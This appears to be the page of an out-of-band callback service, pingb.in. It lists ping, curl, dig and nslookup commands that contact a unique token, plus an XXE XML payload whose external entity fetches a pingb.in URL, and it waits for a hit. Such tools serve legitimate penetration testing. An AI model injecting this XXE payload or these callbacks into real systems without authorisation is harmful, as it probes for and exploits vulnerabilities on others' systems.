$ ping -c1 -p 003542cbb8a5ac837c2862360ef78700 pingb.in
 
$ curl pingb.in/p/3542cbb8a5ac837c2862360ef787
 
$ dig 3542cbb8a5ac837c2862360ef787 @pingb.in
 
$ dig 3542cbb8a5ac837c2862360ef787.ns.pingb.in
 
C:\> nslookup 3542cbb8a5ac837c2862360ef787 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/3542cbb8a5ac837c2862360ef787">]>
    <foo>&xxe;</foo>
 
Waiting for ping...